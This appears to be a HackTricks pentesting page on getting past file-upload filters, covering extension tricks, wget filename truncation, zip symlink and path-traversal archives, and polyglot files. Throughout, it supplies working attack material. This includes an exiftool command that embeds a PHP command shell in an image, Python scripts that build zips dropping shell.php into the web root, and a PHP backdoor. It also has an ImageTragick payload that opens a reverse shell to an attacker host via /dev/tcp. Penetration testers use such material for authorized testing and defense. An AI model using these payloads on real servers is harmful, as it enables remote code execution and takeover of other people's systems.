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hacktricks/pentesting-web/file-upload.md

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File Upload General Methodology

  1. Try to upload a file with a double extension ex: _file.png.php_ or _file.png.php5_.
    • PHP extensions: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtml, .pgif, .shtml, .htaccess, .phar, .inc
    • ASP extensions: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .asp, .cer, .shtml
  2. Try to uppercase some letter(s) of the extension. Like: .pHp, .pHP5, .PhAr ...
  3. Try to upload some double or more extension useful to bypass misconfigured checks that test if a specific extension is just present:
    1. file.png.php
    2. file.png.txt.php
  4. Try to upload some reverse double extension useful to exploit Apache misconfigurations where anything with extension _.php_, but **not necessarily ending in .php** will execute code:
    • ex: file.php.png
  5. Double extension with null character:
    1. ex: file.php%00.png
  6. Add some especial characters at the end of the extension_: %00, %20, several dots...._
    1. file.php%00
    2. file.php%20
    3. file.php...... --> In Windows when a file is created with dots at the end those will be removed so you can bypass filters that checks for .php as extension
    4. file.php/
    5. _file.php._
  7. Bypass Content-Type checks by setting the value of the Content-Type header to: image/png , text/plain , application/octet-stream
  8. Bypass magic number check by adding at the beginning of the file the bytes of a real image confuse the _file_ command. Or introduce the shell inside the metadata: exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    1. It is also possible that the magic bytes are just being checked in the file and you could set them anywhere in the file.
  9. Using NTFS alternate data stream ADS in Windows. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server e.g. “file.asax:.jpg”. This file might be edited later using other techniques such as using its short filename. The “::$data” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions .e.g. “file.asp::$data.”
  10. Upload the backdoor with an allowed extension _png_ and pray for a misconfiguration that executes the backdoor
  11. Find a vulnerability to rename the file already uploaded to change the extension.
  12. Find a Local File Inclusion vulnerability to execute the backdoor.
  13. Possible Information disclosure:
    1. Upload several times and at the **same time** the same file with the same name
    2. Upload a file with the name of a file or folder that already exists
    3. Uploading a file with “.”, “..”, or “…” as its name. For instance, in Apache in Windows, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called “uploads” in the “/www/” directory.
    4. Upload a file that may not be deleted easily such as “…:.jpg” in NTFS. Windows
    5. Upload a file in Windows with invalid characters such as |<>*?” in its name. Windows
    6. Upload a file in Windows using reserved **forbidden** names such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.

Try also to upload an executable .exe or an .html less suspicious that will execute code when accidentally opened by victim.

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files" %}

If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code. If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.

The .phar files are like the .jar for java, but for php, and can be used like a php file executing it with php, or including it inside a script...

The .inc extension is sometimes used for php files that are only used to import files, so, at some point, someone could have allow this extension to be executed.

Check a lot of possible file upload vulnerabilities with BurpSuit plugin https://github.com/modzero/mod0BurpUploadScanner or use a console application that finds which files can be uploaded and try different tricks to execute code: https://github.com/almandin/fuxploider

wget File Upload/SSRF Trick

In some occasions you may find that a server is using wget to download files and you can indicate the URL. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, this check can be bypassed. The maximum length of a filename in linux is 255, however, wget truncate the filenames to 236 characters. You can download a file called "A"*232+".php"+".gif", this filename will bypass the check as in this example **".gif"** is a **valid** extension but wget will rename the file to "A"*232+".php".

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080

#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Note that another option you may be thinking of to bypass this check is to make the HTTP server redirect to a different file, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This won't work unless wget is being used with the parameter --trust-server-names because wget will download the redirected page with the name of the file indicated in the original URL.

From File upload to other vulnerabilities

Here’s a top 10 list of things that you can achieve by uploading from [link](https://twitter.com/SalahHasoneh1/status/1281274120395685889):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack DoS
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Zip File Automatically decompressed Upload

If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:

Symlink

Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt

Decompress in different folders

The decompressed files will be created in unexpected folders.

One could easily assume that this setup protects from OS-level command execution via malicious file uploads but unfortunately this is not true. Since ZIP archive format supports hierarchical compression and we can also reference higher level directories we can escape from the safe upload directory by abusing the decompression feature of the target application.

An automated exploit to create this kind of files can be found here: https://github.com/ptoomey3/evilarc

python evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Some python code to create a malicious zip:

#!/usr/bin/python
import zipfile
from cStringIO import StringIO

def create_zip():
    f = StringIO()
    z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
    z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
    z.writestr('otherfile.xml', 'Content of the file')
    z.close()
    zip = open('poc.zip','wb')
    zip.write(f.getvalue())
    zip.close()

create_zip()

To achieve remote command execution I took the following steps:

  1. Create a PHP shell:
<?php
if(isset($_REQUEST['cmd'])){
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
}?>
  1. Use “file spraying” and create a compressed zip file:
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php  xxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php           xxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php        xxAxxAxxAxxAxxAcmd.php  xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
  adding: xxAcmd.php (deflated 40%)
  adding: xxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#

3.Use a hexeditor or vi and change the “xxA” to “../”, I used vi:

:set modifiable
:%s/xxA/..\//g
:x!

Done!

Only one step remained: Upload the ZIP file and let the application decompress it! If it is succeeds and the web server has sufficient privileges to write the directories there will be a simple OS command execution shell on the system:

b1

Reference: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

Decompress with a different name

Sometimes an application will block the loading of a file by checking its extension inside the zip file. If this verification is superficial, ie by checking the name of the file inside the local field header, it can be circumvented by making the application believe that the file has such an extension, whereas it will have another once decompressed.

We can reuse the previous script to make a zip file.

import zipfile
from io import BytesIO

def create_zip():
    f = BytesIO()
    z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
    z.writestr('shell.php .pdf', '<?php echo system($_REQUEST["cmd"]); ?>')
    z.close()
    zip = open('poc.zip','wb')
    zip.write(f.getvalue())
    zip.close()

create_zip()

Note that the name has a space inside of it. Now you can edit the generated zip file with an hex editor, and change this char in the field name placed inside the Central Directory Header by a null byte 00:

# before changing the name of the file inside the Central Directory header
00000080: 0000 0073 6865 6c6c 2e70 6870 202e 7064  ...shell.php .pd
# after changing the name of the file inside the Central Directory header
00000080: 0000 0073 6865 6c6c 2e70 6870 002e 7064  ...shell.php..pd

When the application will check the filename of the file inside the zip, the name used for this check will be the name of the local file header, but not if the zip is encrypted (see the pkzip specification). The name used to store the file will be the name of the central directory header when 7z or unzip see a difference between the two names. Thanks to the null byte, the name will be shell.php.

When decompressed :

7z e poc.zip
ls
shell.php

References:

https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html

https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT

ImageTragic

Upload this content with an image extension to exploit the vulnerability ImageMagick , 7.0.1-1

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Embedding PHP Shell on PGN

The primary reason putting a web shell in the IDAT chunk is that it has the ability to bypass resize and re-sampling operations - PHP-GD contains two functions to do this imagecopyresized and imagecopyresampled.

Read this post: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot Files

Polyglots, in a security context, are files that are a valid form of multiple different file types. For example, a GIFAR is both a GIF and a RAR file. There are also files out there that can be both GIF and JS, both PPT and JS, etc.

Polyglot files are often used to bypass protection based on file types. Many applications that allow users to upload files only allow uploads of certain types, such as JPEG, GIF, DOC, so as to prevent users from uploading potentially dangerous files like JS files, PHP files or Phar files.

This helps to upload a file that complins with the format of several different formats. It can allows you to upload a PHAR file PHp ARchive that also looks like a JPEG, but probably you will still needs a valid extension and if the upload function doesn't allow it this won't help you.

More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

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